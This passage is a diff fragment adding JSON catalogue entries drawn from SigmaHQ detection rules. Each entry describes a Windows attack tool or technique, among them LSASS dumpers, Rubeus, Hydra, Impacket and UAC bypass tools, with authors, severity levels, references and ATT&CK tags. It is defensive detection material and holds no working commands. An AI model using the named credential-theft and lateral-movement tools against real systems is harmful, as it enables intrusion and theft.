"37c1333a-a0db-48be-b64b-7393b2386e3b", + "value": "Hacktool by Cube0x0" + }, + { + "description": "Detects the use of Dumpert process dumper, which dumps the lsass.exe process memory", + "meta": { + "author": "Florian Roth", + "creation_date": "2020/02/04", + "falsepositive": [ + "Very unlikely" + ], + "filename": "proc_creation_win_hack_dumpert.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/outflanknl/Dumpert", + "https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_dumpert.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "2704ab9e-afe2-4854-a3b1-0c0706d03578", + "value": "Dumpert Process Dumper" + }, + { + "description": "Detects command line parameters used by Hydra password guessing hack tool", + "meta": { + "author": "Vasiliy Burov", + "creation_date": "2020/10/05", + "falsepositive": [ + "Software that uses the caret encased keywords PASS and USER in its command line" + ], + "filename": "proc_creation_win_hack_hydra.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/vanhauser-thc/thc-hydra", + "https://attack.mitre.org/techniques/T1110/001/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_hydra.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110", + "attack.t1110.001" + ] + }, + "uuid": "aaafa146-074c-11eb-adc1-0242ac120002", + "value": "Hydra Password Guessing Hack Tool" + }, + { + "description": "Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/24", + "falsepositive": [ + "Very unlikely" + ], + "filename": "proc_creation_win_hack_inveigh.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Kevin-Robertson/Inveigh", + "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_inveigh.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "b99a1518-1ad5-4f65-bc95-1ffff97a8fd0", + "value": "Inveigh Hack Tool" + }, + { + "description": "Detects command line parameters used by Koadic hack tool", + "meta": { + "author": "wagga, Jonhnathan Ribeiro, oscd.community", + "creation_date": "2020/01/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_hack_koadic.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/", + "https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js", + "https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_koadic.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003", + "attack.t1059.005", + "attack.t1059.007" + ] + }, + "uuid": "5cddf373-ef00-4112-ad72-960ac29bac34", + "value": "Koadic Execution" + }, + { + "description": "Detects the use of KrbRelay, a Kerberos relaying tool", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/27", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_hack_krbrelay.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/cube0x0/KrbRelay", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelay.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003" + ] + }, + "uuid": "e96253b8-6b3b-4f90-9e59-3b24b99cf9b4", + "value": "KrbRelay Hack Tool" + }, + { + "description": "Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in windows domain environments where LDAP signing is not enforced", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/04/26", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_hack_krbrelayup.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/Dec0ne/KrbRelayUp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_krbrelayup.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558.003", + "attack.lateral_movement", + "attack.t1550.003" + ] + }, + "uuid": "12827a56-61a4-476a-a9cb-f3068f191073", + "value": "KrbRelayUp Hack Tool" + }, + { + "description": "Detects the execution of the hacktool Rubeus via PE information of command line parameters", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/12/19", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_hack_rubeus.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/", + "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html", + "https://github.com/GhostPack/Rubeus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_rubeus.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003", + "attack.t1558.003", + "attack.lateral_movement", + "attack.t1550.003" + ] + }, + "uuid": "7ec2c172-dceb-4c10-92c9-87c1881b7e18", + "value": "Rubeus Hack Tool" + }, + { + "description": "Detects the execution of the hacktool SafetyKatz via PE information and default Image name", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/20", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_hack_safetykatz.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/GhostPack/SafetyKatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_safetykatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "b1876533-4ed5-4a83-90f3-b8645840a413", + "value": "SafetyKatz Hack Tool" + }, + { + "description": "Detects the execution of SecurityXploded Tools", + "meta": { + "author": "Florian Roth", + "creation_date": "2018/12/19", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_hack_secutyxploded.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securityxploded.com/", + "https://cyberx-labs.com/blog/gangnam-industrial-style-apt-campaign-targets-korean-industrial-companies/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_secutyxploded.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1555" + ] + }, + "uuid": "7679d464-4f74-45e2-9e01-ac66c5eb041a", + "value": "SecurityXploded Tool" + }, + { + "description": "Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/09/15", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_hack_sharpersist.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit", + "https://github.com/mandiant/SharPersist", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpersist.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053" + ] + }, + "uuid": "26488ad0-f9fd-4536-876f-52fea846a2e4", + "value": "SharPersist Usage" + }, + { + "description": "Detects SharpLdapWhoami, a whoami alternative by asking the LDAP service on a domain controller", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/29", + "falsepositive": [ + "Programs that use the same command line flags" + ], + "filename": "proc_creation_win_hack_sharpldapwhoami.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/bugch3ck/SharpLdapWhoami", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpldapwhoami.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ] + }, + "uuid": "d9367cbb-c2e0-47ce-bdc0-128cb6da898d", + "value": "SharpLdapWhoami" + }, + { + "description": "Detects the use of Windows Credential Editor (WCE)", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/12/31", + "falsepositive": [ + "Another service that uses a single -s command line switch" + ], + "filename": "proc_creation_win_hack_wce.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.ampliasecurity.com/research/windows-credentials-editor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_wce.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0005" + ] + }, + "uuid": "7aa7009a-28b9-4344-8c1f-159489a390df", + "value": "Windows Credential Editor" + }, + { + "description": "Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/08/18", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_handlekatz.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/codewhitesec/HandleKatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_handlekatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "ca621ba5-54ab-4035-9942-d378e6fcde3c", + "value": "HandleKatz LSASS Dumper Usage" + }, + { + "description": "Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against", + "meta": { + "author": "frack113", + "creation_date": "2021/12/27", + "falsepositive": [ + "Tools that accidentally use the same command line flags and values" + ], + "filename": "proc_creation_win_hashcat.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.002/T1110.002.md#atomic-test-1---password-cracking-with-hashcat", + "https://hashcat.net/wiki/doku.php?id=hashcat", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hashcat.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110.002" + ] + }, + "uuid": "39b31e81-5f5f-4898-9c0e-2160cfc0f9bf", + "value": "Password Cracking with Hashcat" + }, + { + "description": "This is an unusual method to download files. It starts a browser headless and downloads a file from a location. This can be used by threat actors to download files.", + "meta": { + "author": "Sreeman, Florian Roth", + "creation_date": "2022/01/04", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_headless_browser_file_download.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/mrd0x/status/1478234484881436672?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_headless_browser_file_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ] + }, + "uuid": "0e8cfe08-02c9-4815-a2f8-0d157b7ed33e", + "value": "File Download with Headless Browser" + }, + { + "description": "Identifies usage of hh.exe executing recently modified .chm files.", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Dan Beavin), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_hh_chm.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/b25aa548-7937-11e9-8f5c-d46d6d62a49e.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.001" + ] + }, + "uuid": "68c8acb4-1b60-4890-8e82-3ddf7a6dba84", + "value": "HH.exe Execution" + }, + { + "description": "Detects usage of hh.exe to execute/download remotely hosted .chm files.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/29", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_hh_chm_http.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", + "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_http.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.001" + ] + }, + "uuid": "f57c58b3-ee69-4ef5-9041-455bf39aaa89", + "value": "HH.exe Remote CHM File Execution" + }, + { + "description": "Monitors for the hiding possible malicious files in the C:\\Windows\\Fonts\\ location. This folder doesn't require admin privillege to be written and executed from.", + "meta": { + "author": "Sreeman", + "creation_date": "2020/04/21", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_hiding_malware_in_fonts_folder.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hiding_malware_in_fonts_folder.yml" + ], + "tags": [ + "attack.t1211", + "attack.t1059", + "attack.defense_evasion", + "attack.persistence" + ] + }, + "uuid": "ae9b0bd7-8888-4606-b444-0ed7410cb728", + "value": "Writing Of Malicious Files To The Fonts Folder" + }, + { + "description": "A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_high_integrity_sdclt.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/6", + "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_high_integrity_sdclt.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ] + }, + "uuid": "40f9af16-589d-4984-b78d-8c2aec023197", + "value": "High Integrity Sdclt Process" + }, + { + "description": "Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/12/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_hktl_createminidump.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ] + }, + "uuid": "36d88494-1d43-4dc0-b3fa-35c8fea0ca9d", + "value": "CreateMiniDump Hacktool" + }, + { + "description": "Detects execution of UACMe (a tool used for UAC bypass) via default PE metadata", + "meta": { + "author": "Christian Burkard, Florian Roth", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_hktl_uacme_uac_bypass.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_uacme_uac_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "d38d2fa4-98e6-4a24-aff1-410b0c9ad177", + "value": "UAC Bypass Tool UACMe Akagi" + }, + { + "description": "Detects a suspicious child process of a Microsoft HTML Help system when executing compiled HTML files (.chm)", + "meta": { + "author": "Maxim Pavlunin", + "creation_date": "2020/04/01", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_html_help_spawn.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_html_help_spawn.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.001", + "attack.t1218.010", + "attack.t1218.011", + "attack.execution", + "attack.t1059.001", + "attack.t1059.003", + "attack.t1059.005", + "attack.t1059.007", + "attack.t1047", + "attack.t1566", + "attack.t1566.001", + "attack.initial_access", + "attack.t1218" + ] + }, + "uuid": "52cad028-0ff0-4854-8f67-d25dfcbc78b4", + "value": "HTML Help Shell Spawn" + }, + { + "description": "Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/10/24", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_hwp_exploits.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/", + "https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1", + "https://twitter.com/cyberwar_15/status/1187287262054076416", + "https://blog.alyac.co.kr/1901", + "https://en.wikipedia.org/wiki/Hangul_(word_processor)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hwp_exploits.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001", + "attack.execution", + "attack.t1203", + "attack.t1059.003", + "attack.g0032" + ] + }, + "uuid": "023394c4-29d5-46ab-92b8-6a534c6f447b", + "value": "Suspicious HWP Sub Processes" + }, + { + "description": "Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files", + "meta": { + "author": "frack113", + "creation_date": "2022/07/18", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_icacls_deny.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ] + }, + "uuid": "4ae81040-fc1c-4249-bfa3-938d260214d9", + "value": "Use Icacls to Hide File to Everyone" + }, + { + "description": "Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_iis_connection_strings_decryption.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/microsoft-iis-connection-strings-decryption.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_connection_strings_decryption.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ] + }, + "uuid": "97dbf6e2-e436-44d8-abee-4261b24d3e41", + "value": "Microsoft IIS Connection Strings Decryption" + }, + { + "description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)", + "meta": { + "author": "frack113", + "creation_date": "2022/01/09", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_iis_http_logging.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1---disable-windows-iis-http-logging", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_http_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ] + }, + "uuid": "e4ed6030-ffe5-4e6a-8a8a-ab3c1ab9d94e", + "value": "Disable Windows IIS HTTP Logging" + }, + { + "description": "Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords", + "meta": { + "author": "Tim Rauch", + "creation_date": "2022/09/28", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_iis_service_account_password_dumped.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.elastic.co/guide/en/security/current/microsoft-iis-service-account-password-dumped.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_service_account_password_dumped.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ] + }, + "uuid": "2d3cdeec-c0db-45b4-aa86-082f7eb75701", + "value": "Microsoft IIS Service Account Password Dumped" + }, + { + "description": "Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/27", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_imaging_devices_unusual_parents.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imaging_devices_unusual_parents.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ] + }, + "uuid": "f11f2808-adb4-46c0-802a-8660db50fa99", + "value": "ImagingDevices Unusual Parent Or Child Processes" + }, + { + "description": "Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/24", + "falsepositive": [ + "Legitimate use of the impacket tools" + ], + "filename": "proc_creation_win_impacket_compiled_tools.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_compiled_tools.yml" + ], + "tags": [ + "attack.execution", + "attack.t1557.001" + ] + }, + "uuid": "4627c6ae-6899-46e2-aa0c-6ebcb1becd19", + "value": "Impacket Tool Execution" + }, + { + "description": "Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework", + "meta": { + "author": "Ecco, oscd.community, Jonhnathan Ribeiro", + "creation_date": "2019/09/03", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_impacket_lateralization.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_lateralization.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.lateral_movement", + "attack.t1021.003" + ] + }, + "uuid": "10c14723-61c7-4c75-92ca-9af245723ad2", + "value": "Impacket Lateralization Detection" + }, + { + "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/09", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_import_cert_susp_locations.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://docs.microsoft.com/en-us/powershell/module/pki/import-certificate?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_import_cert_susp_locations.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.004" + ] + }, + "uuid": "5f6a601c-2ecb-498b-9c33-660362323afa", + "value": "Root Certificate Installed From Susp Locations" + }, + { + "description": "Detect indirect command execution via Program Compatibility Assistant (pcalua.exe or forfiles.exe).", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts.", + "Legitimate usage of scripts." + ], + "filename": "proc_creation_win_indirect_cmd.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1202/T1202.md", + "https://eqllib.readthedocs.io/en/latest/analytics/884a7ccd-7305-4130-82d0-d4f90bc118b6.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_cmd.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "fa47597e-90e9-41cd-ab72-c3b74cfb0d02", + "value": "Indirect Command Execution" + }, + { + "description": "Detects the use of native Windows tool, forfiles to execute a file. Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.", + "meta": { + "author": "Tim Rauch (rule), Elastic (idea)", + "creation_date": "2022/10/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_indirect_command_execution_forfiles.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-73d61931b2c77fde294189ce5d62323b416296a7c23ea98a608f425566538d1a", + "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_command_execution_forfiles.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "a85cf4e3-56ee-4e79-adeb-789f8fb209a8", + "value": "Indirect Command Exectuion via Forfiles" + }, + { + "description": "Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.", + "meta": { + "author": "frack113", + "creation_date": "2021/07/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_infdefaultinstall.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4---infdefaultinstallexe-inf-execution", + "https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "ce7cf472-6fcc-490a-9481-3786840b5d9b", + "value": "InfDefaultInstall.exe .inf Execution" + }, + { + "description": "Detects encoded base64 MZ header in the commandline", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/12", + "falsepositive": [ + "Unlikely" + ], + "filename": "proc_creation_win_inline_base64_mz_header.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_base64_mz_header.yml" + ], + "tags": [ + "attack.execution" + ] + }, + "uuid": "22e58743-4ac8-4a9f-bf19-00a0428d8c5f", + "value": "Base64 MZ Header In CommandLine" + }, + { + "description": "Detects the use of WinAPI Functions via the commandline as seen used by threat actors via the tool winapiexec", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/09/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_inline_win_api_access.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/m417z/status/1566674631788007425", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_win_api_access.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106" + ] + }, + "uuid": "ba3f5c1b-6272-4119-9dbd-0bc8d21c2702", + "value": "Accessing WinAPI Via CommandLine" + }, + { + "description": "Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).", + "meta": { + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "creation_date": "2019/09/06", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_install_reg_debugger_backdoor.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + 